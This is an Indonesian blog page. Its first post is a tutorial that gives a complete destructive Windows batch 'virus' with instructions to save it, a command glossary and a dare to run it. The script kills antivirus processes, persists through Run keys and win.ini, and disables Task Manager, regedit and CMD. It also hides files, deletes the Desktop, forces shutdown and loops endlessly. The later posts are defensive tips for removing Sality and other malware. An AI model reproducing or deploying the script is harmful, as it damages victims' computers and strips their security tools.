Membuat Virus BAT

Berikut adalah contoh Virus bat

Pertama situ buka notepad

Kedua situ copy code bikinan ane ke notepad

@echo off
copy %0 %systemroot%\namavirus.bat > nul
copy %0 *.bat > nul
Attrib +h *.bat
cls
tskill AVGUARD
tskill AVGNT
tskill NMAIN
tskill KAV
tskill ad-aware
tskill av*
tskill PCMAV
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Explorer.exe /t REG_SZ /d %systemroot%\namavirus.bat /f > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFind /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDispCPL /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoViewOnDrive /t REG_DWORD /d 4 /f
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Antz /t REG_SZ /d C:\Windows\Antz.bat /f
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticecaption /t REG_SZ /d toepan.tk /f
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v legalnoticetext /t REG_SZ /d Bukannya ane iseng gan cuman gg ada kerjaan aja /f
reg add HKCU\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 2 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
cls
echo [windows] >> %systemroot%\win.ini
echo load=%systemroot%\namavirus.bat >> %systemroot%\win.ini
echo run=%systemroot%\namavirus.bat >> %systemroot%\win.ini
Attrib +h %systemroot%\win.ini
del C:\docume~\owner\Desktop
shutdown -s -t 15
msg * ”sorry gan komputernya mati dulu.. ok”
cls
:hell
start %0
goto hell

Ketiga klik file>save as ganti save files type nya jadi all files.

Keempat save dengan nama “namavirus.bat” tanpa kutip

nah sekarang apakah Anda berani menjalankannya ??? =)) =)) =))

nah berikut notasinya supaya pada ngerti command nya…

@echo off = untuk menghilangkan tampilan command2 yg digunakan ingat ini harus digunakan di awal pengcodean
copy = mengcopy file ke dir tertentu
attrib = mengganti attribute file
cls = membersihkan command2 yg sudah diketik
tskill = mematikan process tertentu ngetiknya harus tanpa ekstensi
reg add = menambahkan registry sesuai yang anda mau
echo = menampilkan command
del = gg tw sama dengan leecher
shutdown = sama kayak diatas
msg = menampilkan pesan
:hell = menentukan save point
goto = kembali ke save point

nice tutor om deads32

sumber : disini

9 Kiat Singkirkan Virus Sality

Tidak semua program antivirus dapat membersihkan file yang sudah terinfeksi virus W32/Sality.AE. Malah bisa-bisa, file tersebut akan rusak setelah di-scan dan dibersihkan oleh antivirus yang tidak tepat.

Virus Sality akan menyebar dengan cepat melalui jaringan dengan memanfaatkan default share Windows atau share folder yang mempunyai akses full dengan cara menginfeksi file yang mempunyai ekstensi exe/com/scr.

Untuk itu, perusahaan sekuriti Vaksincom menyarankan pengguna komputer untuk menonaktifkan Default Share (C$, D$ .. dst) dan hindari full sharing folder Anda di jaringan.

Berikut 9 cara singkat membersihkan virus W32/Sality.AE
1. Putuskan hubungan komputer yang akan dibersihkan dari jaringan dan internet.

2. Matikan System Restore selama proses pembersihan berlangsung.

3. Matikan Autorun dan Default Share. Silahkan download file berikut kemudian jalankan dengan cara: klik kanan repair.inf lalu install.

http://www.4shared.com/file/82762498/f5dc1edd/repair.html?dirPwdVerified=feea1d94

4. Matikan program aplikasi yang aktif di memori agar proses pembersihan lebih cepat terutama program yang ada dalam daftar startup.

5. Sebaiknya scan dengan menggunakan removal tools dengan terlebih dahulu merubah ekstensi dari removal tools tersebut dengan ekstensi lain [contoh: CMD] agar tidak diinfeksi ulang oleh W32/Sality.AE.

6. Agar komputer yang sudah terinfeksi W32/Sality.AE dapat booting safe mode, silahkan restore registry yang sudah diubah oleh virus.

Silahkan download file berikut kemudian jalankan sesuai OS yang terinfeksi W32/Sality.AE tersebut.

7. Fix registry lain yang diubah oleh virus, silahkan download tools berikut kemudian jalankan file tersebut dengan cara: klik kanan repair.inf lalu install

http://www.4shared.com/file/82874724/f485f1dd/repair.html?dirPwdVerified=3b1f2fa9

8. Restart komputer dan scan ulang dengan menggunakan removal tools untuk memastikan komputer telah bersih dari virus.

9. Untuk pembersihan optimal dan mencegah infeksi ulang sebaiknya install dan scan dengan antivirus yang dapat mendeteksi Sality dengan baik.

silahkan dicoba…mari kita bantai virusnya

Mambasmi Virus yang tidak terdeteksi oleh ANVI

Artikel kali ini ditujukan untuk membasmi virus-virus baru, terutama virus-virus yang tak terdeteksi oleh antivirus. Anda yang stres bila harus scan komputer berjam-jam guna menemukan dan membunuh virus, padahal dengan cara ini paling tidak 10 menit saja sudah beres. Ikuti tips dan trik berikut ini. Bagi netter yang komputernya mudah terserang virus, mungkin panduan berikut di bawah ini bisa berguna.

Secara teori cara ini bisa membunuh 90 persen virus yang beredar, hanya virus macro (word, excel) dan virus yang merusak file (extension EXE) yang susah dibersihkan dengan cara ini, walau bisa dicegah penularannya.
Memberantas virus dengan Command Windows bila netter merasakan komputer ada gejala terserang virus/spyware, umumnya adanya indikasi tampilan aneh pada desktop atau browser/program yang digunakan. Sebaiknya langsung menempuh langkah berikut ini:

1. Matikan Virus di Memori
Caranya Tekan Ctrl + Alt + Del untuk menampilan Windows Task Manager - lalu ke bagian "Processes", kemudian klik bagian "User Name" untuk mengurutkan file yang diproses pada memori. Setelah itu, lihat ada bagian yang mencurigakan atau tidak. Bila banyak yang di-loading pada memori, sebaiknya dimatikan dahulu start up yang otomatis ter-loading pada bagian bawah kanan (icon speaker dan jam). Matikan semua icon tersebut dengan cara "quit" atau "exit" dari programnya.

Loading virus ke memori biasanya berupa EXE file. Langkah ini untuk mencegah virus untuk menyebar terlebih dahulu lewat memori kita. Matikan semua file EXE yang loading di memori yang sudah diurutkan sebelumnya berdasarkan "User Name". Perlu diperhatikan: jangan mematikan file yang kategori (Image Name) "System", "Local Service", dan "Network Service", karena bisa membuat sistem hang atau Freeze.
2. Non-aktifkan Virus di Startup
Untuk menon-aktifkan virus supaya tidak terloading ke memori, kita harus membuangnya di startup. Caranya: bisa menggunakan perintah MSCONFIG, klik menu Start>Run>msconfig - setelah itu akan tampil "System Configuration Utility". Lalu pilihlah "Startup", dalam kasus ini sebaiknya netter yang tidak mengerti mana yang loading virus mana yang bukan, sebaiknya pilih "Disable All".
Nantinya netter baru aktifkan kembali startup yang diinginkan kalau virus sudah bersih. Bila netter yang mengerti file yang loading mana file yang diperlukan, dan mana yang tidak, atau mana yang virus atau bukan, sebaiknya membuang conteng (check box) pada kotak bagian kiri untuk yang dicurigai sebagai virus. Cara ini akan menonaktifkan virus di start up kita.
3. Hapus File Virus dari Komputer
Carilah dengan menggunakan fasilitas "search" pada Windows, klik menu Start>Search, lalu carilah file EXE virus (contoh: Wukil.exe) yang sebelumnya loading di memori atau start up. File ini biasanya disimpan oleh pembuatnya di bagian folder Windows atau System32 dari Windows. Setelah ditemukan, delete atau hapus file tersebut.
4. Hapus Virus dari System Registry
Tahap ini adalah tahap terakhir. Kita harus menggunakan perintah REGEDIT untuk mengubah dan men-delete virus dari registry kita. Pilihlah Start>Run>regedit - lalu ke menu "Edit" pilihlah "Find" (atau tekan Ctrl+F). Masukkan nama file virus yang ingin dihapus (contoh: Brontok.exe), lalu pilih "Find Next".
Apabila ditemukan file virus, hapuslah semua registry yang memuat virus tersebut (berikut dengan foldernya kalau ada). Kemudian lanjutkan dengan menekan Tombol "F3" atau di menu pilih "Edit" terus "Find Next". Biasanya file virus diletakkan pada beberapa tempat di registry. Jadi pastikan netter menghapus semuanya sampai bersih, dalam arti registry komputer bebas dari loading virus tersebut. Kalau tidak pekerjaan ini akan sia-sia. Namun sebelumnya netter sebaiknya lebih berhati-hati di dalam mengotak-atik regedit ini, minimal netter mengetahui dan mengerti hal-hal apa saja yang harus dan yang tidak harus dihapus.

Memberantas virus dengan bantuan program lain, sebenarnya ada beberapa tools yang sangat berguna bagi netter untuk mempermudah pembasmian virus, antara lain:
# AVG (versi terbaru) Free Edition
Program antivirus gratis yang sangat powerful untuk mengatasi virus dari luar negeri.
# PCMAV - Program antivirus buatan PC
Media ini terbukti sangat ampuh untuk membasmi virus-virus lokal.
# Hijack This - Sering kali virus mematikan hak akses kita Terhadap MSCONFIG, tujuannya agar kita tidak bisa menghapus file virus yang ter-loading pada saat kita menyalakan komputer. Tools yang satu ini sangat bagus sebagai pengganti command MSCONFIG. Selain itu program ini bisa mendeteksi lebih mendetil seperti spyware yang inject di dalam browser kita.
# CProcess - Tools ini fungsinya seperti "Windows Task Manager" (Ctrl + Alt +Del).
Tools ini sangat bagus sekali untuk mengenali mana yang virus atau bukan karena mengandung informasi detail mengenai file yang terloading di memori. Seperti contoh file yang benar (bukan virus) selalu tertulis nama perusahaan pembuatnya (contoh: Windows buatan Microsoft Corp).
# CCleaner - Tools yang satu ini selain berguna untuk menggantikan command REGEDIT, juga bisa membersihkan virus di registry secara otomatis. Selain itu CCleaner juga bisa mempercepat akses komputer Anda dengan membersihkan semua sampah-sampah di dalam registry. - RADNET